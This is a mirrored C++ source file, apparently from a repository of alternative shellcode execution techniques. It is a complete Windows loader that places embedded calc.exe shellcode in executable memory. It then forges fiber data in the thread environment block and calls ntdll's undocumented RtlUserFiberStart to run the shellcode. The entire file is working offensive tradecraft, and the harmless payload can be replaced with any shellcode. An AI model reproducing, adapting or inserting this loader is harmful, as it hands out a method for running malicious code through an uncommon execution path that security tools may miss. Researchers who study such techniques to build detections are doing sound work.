mirror of
https://github.com/aahmad097/AlternativeShellcodeExec
synced 2026-06-06 15:14:28 +00:00
alfarom256
57 lines
2.4 KiB
C++
57 lines
2.4 KiB
C++
// alfarom256
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#include <Windows.h>
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#include <stdio.h>
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#define TEB_FIBERDATA_PTR_OFFSET 0x17ee
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#define LPFIBER_RIP_OFFSET 0x0a8
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// calc shellcode
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unsigned char op[] =
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"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
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"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
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"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
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"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
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"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
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"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
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"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
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"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
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"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
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"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
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"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
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"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
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"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
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"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
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"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
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"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
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"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
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"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
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"\x63\x2e\x65\x78\x65\x00";
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typedef int(WINAPI* tRtlUserFiberStart)();
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int main() {
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HMODULE hMod = GetModuleHandleA("ntdll");
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if (!hMod) { return -1; }
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tRtlUserFiberStart lpRtlUserFiberStart = (tRtlUserFiberStart)GetProcAddress(hMod, "RtlUserFiberStart");
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if (!lpRtlUserFiberStart) { return -1; }
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_TEB* teb = NtCurrentTeb();
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NT_TIB* tib = (NT_TIB*)teb;
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void* pTebFlags = (void*)((uintptr_t)teb + TEB_FIBERDATA_PTR_OFFSET);
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*(char*)pTebFlags = *(char*)pTebFlags | 0b100; // set the HasFiberData bit
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LPVOID addr = VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
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if (!addr) {
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return GetLastError();
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}
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RtlMoveMemory(addr, op, sizeof(op));
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uintptr_t lpDummyFiberData = (uintptr_t)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x100);
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*(LPVOID*)(lpDummyFiberData + 0x0a8) = addr; // store the shelcode address at the offset of the FiberContext RIP in the Fiber Data
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//call qword ptr [ntdll!_guard_dispatch_icall_fptr (00007ffa`218b4000)] ds:00007ffa`218b4000={ntdll!guard_dispatch_icall_nop (00007ffa`217cfa80)}
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__writegsqword(0x20, lpDummyFiberData); // set the FiberData pointer
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lpRtlUserFiberStart();
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}
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